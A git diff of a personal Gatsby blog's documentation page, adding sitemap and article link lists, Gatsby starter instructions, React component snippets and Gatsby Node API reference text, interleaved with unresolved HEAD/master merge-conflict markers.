+-   [/docs/docs/sitemap/](https://bgoonz-blog.netlify.app/docs/docs/sitemap/)
+
+-   [/docs/docs/css/](https://bgoonz-blog.netlify.app/docs/docs/css/)
+
+-   [/docs/docs/regex-in-js/](https://bgoonz-blog.netlify.app/docs/docs/regex-in-js/)
+
+-   [/docs/faq/contact/](https://bgoonz-blog.netlify.app/docs/faq/contact/)
+
+-   [/docs/interact/jupyter-notebooks/](https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks/)
+
+-   [/docs/interact/clock/](https://bgoonz-blog.netlify.app/docs/interact/clock/)
+
+-   [/docs/interact/](https://bgoonz-blog.netlify.app/docs/interact/)
+
+-   [/docs/faq/](https://bgoonz-blog.netlify.app/docs/faq/)
+
+-   [/docs/interact/video-chat/](https://bgoonz-blog.netlify.app/docs/interact/video-chat/)
+
+-   [/docs/interact/other-sites/](https://bgoonz-blog.netlify.app/docs/interact/other-sites/)
+
+-   [/docs/faq/plug-ins/](https://bgoonz-blog.netlify.app/docs/faq/plug-ins/)
+
+-   [/docs/medium/my-websites/](https://bgoonz-blog.netlify.app/docs/medium/my-websites/)
+
+-   [/docs/medium/medium-links/](https://bgoonz-blog.netlify.app/docs/medium/medium-links/)
+
+-   [/docs/medium/](https://bgoonz-blog.netlify.app/docs/medium/)
+
+-   [/docs/quick-reference/create-react-app/](https://bgoonz-blog.netlify.app/docs/quick-reference/create-react-app/)
+
+-   [/docs/javascript/constructor-functions/](https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions/)
+
+-   [/docs/quick-reference/Emmet/](https://bgoonz-blog.netlify.app/docs/quick-reference/Emmet/)
+
+-   [/docs/python/](https://bgoonz-blog.netlify.app/docs/python/)
+
+-   [/docs/quick-reference/awesome-static/](https://bgoonz-blog.netlify.app/docs/quick-reference/awesome-static/)
+
+-   [/docs/quick-reference/](https://bgoonz-blog.netlify.app/docs/quick-reference/)
+
+-   [/docs/quick-reference/new-repo-instructions/](https://bgoonz-blog.netlify.app/docs/quick-reference/new-repo-instructions/)
+
+-   [/docs/quick-reference/installation/](https://bgoonz-blog.netlify.app/docs/quick-reference/installation/)
+
+-   [/docs/quick-reference/google-firebase/](https://bgoonz-blog.netlify.app/docs/quick-reference/google-firebase/)
+
+-   [/docs/quick-reference/notes-template/](https://bgoonz-blog.netlify.app/docs/quick-reference/notes-template/)
+
+-   [/docs/quick-reference/heroku-error-codes/](https://bgoonz-blog.netlify.app/docs/quick-reference/heroku-error-codes/)
+
+-   [/docs/quick-reference/psql-setup/](https://bgoonz-blog.netlify.app/docs/quick-reference/psql-setup/)
+
+-   [/docs/react/createReactApp/](https://bgoonz-blog.netlify.app/docs/react/createReactApp/)
+
+-   [/docs/quick-reference/topRepos/](https://bgoonz-blog.netlify.app/docs/quick-reference/topRepos/)
+
+-   [/docs/react/react2/](https://bgoonz-blog.netlify.app/docs/react/react2/)
+
+-   [/docs/quick-reference/resources/](https://bgoonz-blog.netlify.app/docs/quick-reference/resources/)
+
+-   [/docs/quick-reference/vscode/](https://bgoonz-blog.netlify.app/docs/quick-reference/vscode/)
+
+-   [/docs/tools/dev-utilities/](https://bgoonz-blog.netlify.app/docs/tools/dev-utilities/)
+
+-   [/docs/tools/data-structures/](https://bgoonz-blog.netlify.app/docs/tools/data-structures/)
+
+-   [/docs/tools/markdown-html/](https://bgoonz-blog.netlify.app/docs/tools/markdown-html/)
+
+-   [/docs/quick-reference/psql/](https://bgoonz-blog.netlify.app/docs/quick-reference/psql/)
+>>>>>>> master
 
 ---
 
@@ -785,6 +1129,7 @@ This page contains links that give the impression that some of the site contents
 
 ##### [stackblitz demo hosted on firebase](https://exploring-firebase-4c023.firebaseapp.com/)
 
+<<<<<<< HEAD
 - [/showcase/](https://bgoonz-blog.netlify.app/showcase/)
 
 - [/repos/](https://bgoonz-blog.netlify.app/repos/)
@@ -920,6 +1265,143 @@ This page contains links that give the impression that some of the site contents
 - [understanding-git-a-beginners-guide-containing-cheat-sheets-resources-b50c9c01a107](https://levelup.gitconnected.com/understanding-git-a-beginners-guide-containing-cheat-sheets-resources-b50c9c01a107?source=your_stories_page-------------------------------------)
 
 - [complete-javascript-reference-guide-64306cd6b0db](https://javascript.plainenglish.io/complete-javascript-reference-guide-64306cd6b0db?source=your_stories_page-------------------------------------)- [
+=======
+-   [/showcase/](https://bgoonz-blog.netlify.app/showcase/)
+
+-   [/repos/](https://bgoonz-blog.netlify.app/repos/)
+
+-   [/blog/](https://bgoonz-blog.netlify.app/blog/)
+
+-   [/docs/jupyter-notebooks/](https://bgoonz-blog.netlify.app/docs/jupyter-notebooks/)
+
+-   [/docs/portfolio-web/](https://bgoonz-blog.netlify.app/docs/portfolio-web/)
+
+-   [/docs/python/](https://bgoonz-blog.netlify.app/docs/python/)
+
+-   [/docs/About/](https://bgoonz-blog.netlify.app/docs/About/)
+
+-   [/docs/About/resume/](https://bgoonz-blog.netlify.app/docs/About/resume/)
+
+-   [/docs/about/](https://bgoonz-blog.netlify.app/docs/about/)
+
+-   [/docs/faq/](https://bgoonz-blog.netlify.app/docs/faq/)
+
+-   [/docs/quick-reference/](https://bgoonz-blog.netlify.app/docs/quick-reference/)
+
+-   [/docs/quick-reference/Emmet/](https://bgoonz-blog.netlify.app/docs/quick-reference/Emmet/)
+
+-   [/docs/quick-reference/new-repo-instructions/](https://bgoonz-blog.netlify.app/docs/quick-reference/new-repo-instructions/)
+
+-   [/docs/links/Social/](https://bgoonz-blog.netlify.app/docs/links/Social/)
+
+-   [/docs/links/](https://bgoonz-blog.netlify.app/docs/links/)
+
+-   [/docs/quick-reference/installation/](https://bgoonz-blog.netlify.app/docs/quick-reference/installation/)
+
+-   [/docs/links/my-websites/](https://bgoonz-blog.netlify.app/docs/links/my-websites/)
+
+-   [/docs/](https://bgoonz-blog.netlify.app/docs/)
+
+-   [/blog/community/](https://bgoonz-blog.netlify.app/blog/community/)
+
+-   [/blog/python/](https://bgoonz-blog.netlify.app/blog/python/)
+
+-   [/docs/resources/](https://bgoonz-blog.netlify.app/docs/resources/)
+
+-   [/docs/react/createReactApp/](https://bgoonz-blog.netlify.app/docs/react/createReactApp/)
+
+-   [/docs/tools/](https://bgoonz-blog.netlify.app/docs/tools/)
+
+-   [/notes-template/](https://bgoonz-blog.netlify.app/notes-template/)
+
+-   [/blog/my-medium/](https://bgoonz-blog.netlify.app/blog/my-medium/)
+
+-   [/docs/tools/default-readme/](https://bgoonz-blog.netlify.app/docs/tools/default-readme/)
+
+-   [/docs/tools/plug-ins/](https://bgoonz-blog.netlify.app/docs/tools/plug-ins/)
+
+-   [/docs/react/react2/](https://bgoonz-blog.netlify.app/docs/react/react2/)
+
+-   [/docs/tools/notes-template/](https://bgoonz-blog.netlify.app/docs/tools/notes-template/)
+
+-   [/review/](https://bgoonz-blog.netlify.app/review/)
+
+-   [/docs/articles/basic-web-dev/](https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev/)
+
+-   [/blog/data-structures/](https://bgoonz-blog.netlify.app/blog/data-structures/)
+
+-   [/docs/About/me/](https://bgoonz-blog.netlify.app/docs/About/me/)
+
+-   [/docs/About/introduction2bg/](https://bgoonz-blog.netlify.app/docs/About/introduction2bg/)
+
+-   [/docs/react/](https://bgoonz-blog.netlify.app/docs/react/)
+
+-   [/docs/tools/Git-Html-Preview/](https://bgoonz-blog.netlify.app/docs/tools/Git-Html-Preview/)
+
+-   [/gallery/](https://bgoonz-blog.netlify.app/gallery/)
+
+## Blog
+
+-   [introductory-react-part-2](https://bryanguner.medium.com/introductory-react-part-2-cda01615a186?source=your_stories_page-------------------------------------)
+
+-   [a-very-quick-guide-to-calculating-big-o-computational-complexity](https://bryanguner.medium.com/a-very-quick-guide-to-calculating-big-o-computational-complexity-eb1557e85fa3?source=your_stories_page-------------------------------------)
+
+-   [introduction-to-react-for-complete-beginners](https://javascript.plainenglish.io/introduction-to-react-for-complete-beginners-8021738aa1ad?source=your_stories_page-------------------------------------)
+
+-   [scheduling-settimeout-and-setinterval](https://javascript.plainenglish.io/scheduling-settimeout-and-setinterval-fcb2f40d16f7?source=your_stories_page-------------------------------------)
+
+-   [css-animations](https://bryanguner.medium.com/css-animations-d196a20099a5?source=your_stories_page-------------------------------------)
+
+-   [these-are-the-bash-shell-commands-that-stand-between-me-and-insanity](https://bryanguner.medium.com/these-are-the-bash-shell-commands-that-stand-between-me-and-insanity-984865ba5d1b?source=your_stories_page-------------------------------------)
+
+-   [how-to-implement-native-es6-data-structures-using-arrays-objects](https://bryanguner.medium.com/how-to-implement-native-es6-data-structures-using-arrays-objects-ce953b9f6a07?source=your_stories_page-------------------------------------)
+
+-   [objects-in-javascript](https://medium.com/codex/objects-in-javascript-cc578a781e1d?source=your_stories_page-------------------------------------)
+
+-   [absolute-beginners-guide-to-javascript-part1](https://javascript.plainenglish.io/absolute-beginners-guide-to-javascript-part-1-e222d166b6e1?source=your_stories_page-------------------------------------)
+
+-   [web-developer-resource-list-part-4](https://medium.com/star-gazers/web-developer-resource-list-part-4-fd686892b9eb?source=your_stories_page-------------------------------------)
+
+-   [vscode-extensions-specifically-for-javascript-development](https://medium.com/codex/vscode-extensions-specifically-for-javascript-development-ea91305cbd4a?source=your_stories_page-------------------------------------)
+
+-   [a-list-of-all-of-my-articles-to-link-to-future-posts](https://bryanguner.medium.com/a-list-of-all-of-my-articles-to-link-to-future-posts-1f6f88ebdf5b?source=your_stories_page-------------------------------------)
+
+-   [lists-stacks-and-queues-in-javascript](https://javascript.plainenglish.io/lists-stacks-and-queues-in-javascript-88466fae0fbb?source=your_stories_page-------------------------------------)
+
+-   [web-development-resources-part-3](https://bryanguner.medium.com/web-development-resources-part-3-f862ceb2b82a?source=your_stories_page-------------------------------------)
+
+-   [web-development-interview-part-3](https://medium.com/codex/web-development-interview-part-3-826ae81a9107?source=your_stories_page-------------------------------------)
+
+-   [running-list-of-interesting-articles-tools](https://bryanguner.medium.com/running-list-of-interesting-articles-tools-and-ideas-as-i-explore-them-b87a2f04d9a6?source=your_stories_page-------------------------------------)
+
+-   [the-best-cloud-based-code-playgrounds-of-2021-part-1](https://bryanguner.medium.com/the-best-cloud-based-code-playgrounds-of-2021-part-1-cdae9448db24?source=your_stories_page-------------------------------------)
+
+-   [front-end-interview-questions-part-2](https://medium.com/codex/front-end-interview-questions-part-2-86ddc0e91443?source=your_stories_page-------------------------------------)
+
+-   [web-developer-resource-list-part-2](https://medium.com/star-gazers/web-developer-resource-list-part-2-9c5cb56ab263?source=your_stories_page-------------------------------------)
+
+-   [http-basics](https://levelup.gitconnected.com/http-basics-8f02a96a834a?source=your_stories_page-------------------------------------)
+
+-   [javascript-frameworks-libraries](https://javascript.plainenglish.io/javascript-frameworks-libraries-35931e187a35?source=your_stories_page-------------------------------------)
+
+-   [my-take-on-awesome-javascript](https://javascript.plainenglish.io/my-take-on-awesome-javascript-243255451e74?source=your_stories_page-------------------------------------)
+
+-   [get-started-with-vscode-extensions](https://levelup.gitconnected.com/everything-you-need-to-get-started-with-vscode-extensions-resources-b9f4c8d91931?source=your_stories_page-------------------------------------)
+
+-   [my-favorite-vscode-themes](https://levelup.gitconnected.com/my-favorite-vscode-themes-9bab65af3f0f?source=your_stories_page-------------------------------------)
+
+-   [object-oriented-programming-in-javascript](https://levelup.gitconnected.com/object-oriented-programming-in-javascript-d45007d06333?source=your_stories_page-------------------------------------)
+
+-   [javascript-rotate-array-problemwalkthrough](https://medium.com/codex/javascript-rotate-array-problemwalkthrough-31deb19ebba1?source=your_stories_page-------------------------------------)
+
+-   [super-simple-intro-to-html-651d695f9bc](https://levelup.gitconnected.com/super-simple-intro-to-html-651d695f9bc?source=your_stories_page-------------------------------------)
+
+-   [everything-you-need-to-know-about-relational-databases-sql-postgresql](https://medium.com/codex/everything-you-need-to-know-about-relational-databases-sql-postgresql-and-sequelize-to-build-8acb68284a98?source=your_stories_page-------------------------------------)
+
+-   [understanding-git-a-beginners-guide-containing-cheat-sheets-resources-b50c9c01a107](https://levelup.gitconnected.com/understanding-git-a-beginners-guide-containing-cheat-sheets-resources-b50c9c01a107?source=your_stories_page-------------------------------------)
+
+-   [complete-javascript-reference-guide-64306cd6b0db](https://javascript.plainenglish.io/complete-javascript-reference-guide-64306cd6b0db?source=your_stories_page-------------------------------------)- [
+>>>>>>> master
 
 </div>
 
@@ -933,7 +1415,15 @@ This page contains links that give the impression that some of the site contents
 
     Use the Gatsby CLI to create a new site, specifying the default starter.
 
+<<<<<<< HEAD
+<<<<<<<< HEAD:src/pages/readme.md
     ```shell
+========
+    ```consoleell
+>>>>>>>> master:src/pages/docs/readme.md
+=======
+    ```consoleell
+>>>>>>> master
 
     # create a new Gatsby site using the default starter
 
@@ -945,7 +1435,15 @@ This page contains links that give the impression that some of the site contents
 
     Navigate into your new site's directory and start it up.
 
+<<<<<<< HEAD
+<<<<<<<< HEAD:src/pages/readme.md
     ```shell
+========
+    ```consoleell
+>>>>>>>> master:src/pages/docs/readme.md
+=======
+    ```consoleell
+>>>>>>> master
 
     cd my-default-starter/
 
@@ -1019,9 +1517,15 @@ A quick look at the top-level files and directories you'll see in a Gatsby proje
 
 Looking for more guidance? Full documentation for Gatsby lives [on the website](https://www.gatsbyjs.com/). Here are some places to start:
 
+<<<<<<< HEAD
 - **For most developers, we recommend starting with our [in-depth tutorial for creating a site with Gatsby](https://www.gatsbyjs.com/tutorial/).** It starts with zero assumptions about your level of ability and walks through every step of the process.
 
 - **To dive straight into code samples, head [to our documentation](https://www.gatsbyjs.com/docs/).** In particular, check out the _Guides_, _API Reference_, and _Advanced Tutorials_ sections in the sidebar.
+=======
+-   **For most developers, we recommend starting with our [in-depth tutorial for creating a site with Gatsby](https://www.gatsbyjs.com/tutorial/).** It starts with zero assumptions about your level of ability and walks through every step of the process.
+
+-   **To dive straight into code samples, head [to our documentation](https://www.gatsbyjs.com/docs/).** In particular, check out the _Guides_, _API Reference_, and _Advanced Tutorials_ sections in the sidebar.
+>>>>>>> master
 
 ## 💫 Deploy
 
@@ -1344,6 +1848,10 @@ bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$
 ## ActionLink
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 import React from 'react';
 
@@ -1424,6 +1932,10 @@ button: *.get(action, 'style', null) !== 'link',
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -1468,6 +1980,10 @@ export default class CtaButtons extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -1568,6 +2084,10 @@ export default class DocsMenu extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -1609,6 +2129,10 @@ export default class DocsSubmenu extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -1655,6 +2179,10 @@ export default class Footer extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -1756,8 +2284,11 @@ export default class Header extends React.Component {
                     </div>
                 </div>
 
+<<<<<<< HEAD
           
 
+=======
+>>>>>>> master
                 <div>
                     <a className="github-corner" href="https://github.com/bgoonz/BGOONZ_BLOG_2.0" aria-label="View source on Github">
                         <svg
@@ -1817,6 +2348,10 @@ export default class Header extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -1867,6 +2402,10 @@ export default class Icon extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import { Helmet } from 'react-helmet';
@@ -1958,6 +2497,10 @@ export default class Body extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -2018,6 +2561,10 @@ export default class SectionContent extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -2068,6 +2615,10 @@ export default class SectionCta extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -2149,6 +2700,10 @@ export default class SectionDocs extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -2238,6 +2793,10 @@ export default class SectionGrid extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -2288,6 +2847,10 @@ export default class SectionHero extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import _ from 'lodash';
@@ -2337,6 +2900,10 @@ export default class Submenu extends React.Component {
 ---
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import ActionLink from './ActionLink';
 
 import CtaButtons from './CtaButtons';
@@ -2428,6 +2995,10 @@ export default {
 # main.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 window.onGatsbyInitialClientRender = function () {
     /**
 
@@ -2798,6 +3369,10 @@ window.onGatsbyInitialClientRender = function () {
 # Page Load JS
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 window.onGatsbyRouteUpdate = function () {
     window.addMainNavigationHandlers();
 
@@ -2814,6 +3389,10 @@ window.onGatsbyRouteUpdate = function () {
 # PageUnload.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 window.onGatsbyPreRouteUpdate = function () {
     window.removeMainNavigationHandlers();
 
@@ -2830,6 +3409,10 @@ window.onGatsbyPreRouteUpdate = function () {
 # Plugins.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 !(function (e, t) {
     'object' == typeof exports && 'undefined' != typeof module
         ? (module.exports = t())
@@ -4123,6 +4706,16 @@ Element.prototype.closest ||
 # Prism.js
 
       ```js
+<<<<<<< HEAD
+<<<<<<<< HEAD:src/pages/readme.md
+========
+
+//
+>>>>>>>> master:src/pages/docs/readme.md
+=======
+
+//
+>>>>>>> master
 
       /* PrismJS 1.16.0
 
@@ -6408,11 +7001,15 @@ Prism.languages.markup.tag.addAttribute(
 
 (Prism.languages.js = Prism.languages.javascript);
 
-```
+````
 
 # main.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 window.onGatsbyInitialClientRender = function () {
 
@@ -6892,7 +7489,15 @@ window.onGatsbyInitialClientRender = function () {
 
 //-----------------------------------------------------------------------
 
+<<<<<<< HEAD
+<<<<<<<< HEAD:src/pages/readme.md
 ```
+========
+````
+>>>>>>>> master:src/pages/docs/readme.md
+=======
+````
+>>>>>>> master
 
 ---
 
@@ -6901,6 +7506,10 @@ window.onGatsbyInitialClientRender = function () {
 # Page Load JS
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 window.onGatsbyRouteUpdate = function () {
     window.addMainNavigationHandlers();
 
@@ -6917,6 +7526,10 @@ window.onGatsbyRouteUpdate = function () {
 # PageUnload.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 window.onGatsbyPreRouteUpdate = function () {
     window.removeMainNavigationHandlers();
 
@@ -6933,6 +7546,10 @@ window.onGatsbyPreRouteUpdate = function () {
 # Plugins.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 !(function (e, t) {
     'object' == typeof exports && 'undefined' != typeof module
         ? (module.exports = t())
@@ -8226,6 +8843,10 @@ Element.prototype.closest ||
 # Prism.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 var \_self = 'undefined' != typeof window ? window : 'undefined' != typeof WorkerGlobalScope && self instanceof WorkerGlobalScope ? self : {},
 
@@ -10566,6 +11187,10 @@ Prism.languages.markup.tag.addAttribute(
 ### Index.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import ActionLink from './ActionLink';
 
 import CtaButtons from './CtaButtons';
@@ -10647,6 +11272,10 @@ export default {
 ### Layout.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import React from 'react';
 
 import { Helmet } from 'react-helmet';
@@ -10738,79 +11367,131 @@ export default class Body extends React.Component {
 ### ActionLink.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### CtaButtons.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### DocsMenu.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### DocsSubmenu.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### Footer.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### Header.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### Icon.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### SectionContent.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### SectionCta.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### SectionDocs.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### SectionGrid.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### SectionHero.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 ### Submenu.js
 
 ```js
+<<<<<<< HEAD
 
+=======
+//
+>>>>>>> master
 ```
 
 <br>
@@ -10880,6 +11561,10 @@ export default class Body extends React.Component {
 ## Gatsby Browser
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 /**
 
  * Implement Gatsby's Browser APIs in this file.
@@ -10930,6 +11615,10 @@ exports.onPreRouteUpdate = () => {
 ## Gatsby-config
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const siteMetadata = require('./site-metadata.json');
 
 module.exports = {
@@ -10986,6 +11675,10 @@ module.exports = {
 ## [Gatsby Node](https://www.gatsbyjs.org/docs/node-apis/)
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 /**
 
  * Implement Gatsby's Node APIs in this file.
@@ -11008,6 +11701,10 @@ An example gatsby-node.js file that implements two APIs, `onPostBuild`, and `cre
 > gatsby-node.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 Copygatsby-node.js: copy code to clipboard`
 
@@ -11082,6 +11779,10 @@ If your plugin performs async operations (disk I/O, database access, calling rem
 // Async/await
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 exports.createPages = async () => {
     // do async work
 
@@ -11121,12 +11822,17 @@ See also [the documentation for the action `createPage`](https://www.gatsbyjs.co
 
 #### Parameters
 
+<<<<<<< HEAD
 - #####
+=======
+-   #####
+>>>>>>> master
 
     destructured object
 
     See the [documentation for `Node API Helpers` for more details](https://www.gatsbyjs.com/docs/node-api-helpers)
 
+<<<<<<< HEAD
 - ######
 
           `actions` Actions
@@ -11150,6 +11856,31 @@ See also [the documentation for the action `createPage`](https://www.gatsbyjs.co
           `reporter` GatsbyReporter
 
           Log issues. See [GatsbyReporter documentation](https://www.gatsbyjs.com/docs/node-api-helpers/#GatsbyReporter) for more details
+=======
+-   ######
+
+            `actions` Actions
+
+            See the [list of documented actions](https://www.gatsbyjs.com/docs/actions)
+
+-   ######
+
+                `createPage` function
+
+                [Documentation for this action](https://www.gatsbyjs.com/docs/actions/#createPage)
+
+-   ######
+
+            `graphql` function
+
+            : Query GraphQL API. See [examples here](https://www.gatsbyjs.com/docs/creating-and-modifying-pages/#creating-pages-in-gatsby-nodejs)
+
+-   ######
+
+            `reporter` GatsbyReporter
+
+            Log issues. See [GatsbyReporter documentation](https://www.gatsbyjs.com/docs/node-api-helpers/#GatsbyReporter) for more details
+>>>>>>> master
 
 #### Return value
 
@@ -11162,6 +11893,10 @@ No return value required, but the caller will `await` any promise that's returne
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const path = require(`path`);
 
 exports.createPages = ({ graphql, actions }) => {
@@ -11248,6 +11983,7 @@ Allows adding new fields to types by providing field configs, or adding resolver
 
 Things to note:
 
+<<<<<<< HEAD
 - Overriding field types is disallowed, instead use the `createTypes` action. In case of types added from third-party schemas, where this is not possible, overriding field types is allowed.
 
 - New fields will not be available on `filter` and `sort` input types. Extend types defined with `createTypes` if you need this.
@@ -11263,11 +11999,29 @@ Things to note:
 - It is possible to add fields to the root `Query` type.
 
 - When using the first resolver argument (`source` in the example below, often also called `parent` or `root`), take care of the fact that field resolvers can be called more than once in a query, e.g. when the field is present both in the input filter and in the selection set. This means that foreign-key fields on `source` can be either resolved or not-resolved.
+=======
+-   Overriding field types is disallowed, instead use the `createTypes` action. In case of types added from third-party schemas, where this is not possible, overriding field types is allowed.
+
+-   New fields will not be available on `filter` and `sort` input types. Extend types defined with `createTypes` if you need this.
+
+-   In field configs, types can be referenced as strings.
+
+-   When extending a field with an existing field resolver, the original resolver function is available from `info.originalResolver`.
+
+-   The `createResolvers` API is called as the last step in schema generation. Thus, an intermediate schema is made available on the `intermediateSchema` property. In resolver functions themselves, it is recommended to access the final built schema from `info.schema`.
+
+-   Gatsby's data layer, including all internal query capabilities, is exposed on [`context.nodeModel`](https://www.gatsbyjs.com/docs/node-model/). The node store can be queried directly with `getAllNodes`, `getNodeById` and `getNodesByIds`, while more advanced queries can be composed with `runQuery`. Note that `runQuery` will call field resolvers before querying, so e.g. foreign-key fields will be expanded to full nodes. The other methods on `nodeModel` don't do this.
+
+-   It is possible to add fields to the root `Query` type.
+
+-   When using the first resolver argument (`source` in the example below, often also called `parent` or `root`), take care of the fact that field resolvers can be called more than once in a query, e.g. when the field is present both in the input filter and in the selection set. This means that foreign-key fields on `source` can be either resolved or not-resolved.
+>>>>>>> master
 
 For fuller examples, see [`using-type-definitions`](https://github.com/gatsbyjs/gatsby/tree/master/examples/using-type-definitions).
 
 #### Parameters
 
+<<<<<<< HEAD
 - #####
 
     destructured object
@@ -11305,10 +12059,53 @@ For fuller examples, see [`using-type-definitions`](https://github.com/gatsbyjs/
               `ignoreNonexistentTypes` object
 
               Silences the warning when trying to add resolvers for types that don't exist. Useful for optional extensions.
+=======
+-   #####
+
+    destructured object
+
+-   ######
+
+            `intermediateSchema` GraphQLSchema
+
+            Current GraphQL schema
+
+-   ######
+
+            `createResolvers` function
+
+            Add custom resolvers to GraphQL field configs
+
+-   #####
+
+    `$1` object
+
+-   ######
+
+            `resolvers` object
+
+            An object map of GraphQL type names to custom resolver functions
+
+-   ######
+
+            `options` object
+
+            Optional createResolvers options
+
+-   ######
+
+                `ignoreNonexistentTypes` object
+
+                Silences the warning when trying to add resolvers for types that don't exist. Useful for optional extensions.
+>>>>>>> master
 
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 exports.createResolvers = ({ createResolvers }) => {
     const resolvers = {
         Author: {
@@ -11352,6 +12149,7 @@ This API runs immediately before schema generation. For modifications of the gen
 
 #### Parameters
 
+<<<<<<< HEAD
 - #####
 
     destructured object
@@ -11371,10 +12169,35 @@ This API runs immediately before schema generation. For modifications of the gen
 - ######
 
               `addThirdPartySchema` object
+=======
+-   #####
+
+    destructured object
+
+-   ######
+
+            `actions` object
+
+-   ######
+
+                `createTypes` object
+
+-   ######
+
+                `createFieldExtension` object
+
+-   ######
+
+                `addThirdPartySchema` object
+>>>>>>> master
 
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 exports.createSchemaCustomization = ({ actions }) => {
     const { createTypes, createFieldExtension } = actions;
 
@@ -11424,6 +12247,7 @@ Let plugins extend/mutate the site's Babel configuration by calling [`setBabelPl
 
 #### Parameters
 
+<<<<<<< HEAD
 - #####
 
     destructured object
@@ -11439,6 +12263,23 @@ Let plugins extend/mutate the site's Babel configuration by calling [`setBabelPl
           `actions` object
 
 - #####
+=======
+-   #####
+
+    destructured object
+
+-   ######
+
+            `stage` string
+
+            The current build stage. One of 'develop', 'develop-html', 'build-javascript', or 'build-html'
+
+-   ######
+
+            `actions` object
+
+-   #####
+>>>>>>> master
 
     `options` object
 
@@ -11447,6 +12288,10 @@ Let plugins extend/mutate the site's Babel configuration by calling [`setBabelPl
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 exports.onCreateBabelConfig = ({ actions }) => {
     actions.setBabelPlugin({
         name: `babel-plugin-that-i-like`,
@@ -11466,6 +12311,7 @@ Run when the `gatsby develop` server is started. It can be used for adding proxi
 
 #### Parameters
 
+<<<<<<< HEAD
 - #####
 
     destructured object
@@ -11475,10 +12321,25 @@ Run when the `gatsby develop` server is started. It can be used for adding proxi
           `app` Express
 
           The [Express app](https://expressjs.com/en/4x/api.html#app) used to run the dev server
+=======
+-   #####
+
+    destructured object
+
+-   ######
+
+            `app` Express
+
+            The [Express app](https://expressjs.com/en/4x/api.html#app) used to run the dev server
+>>>>>>> master
 
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
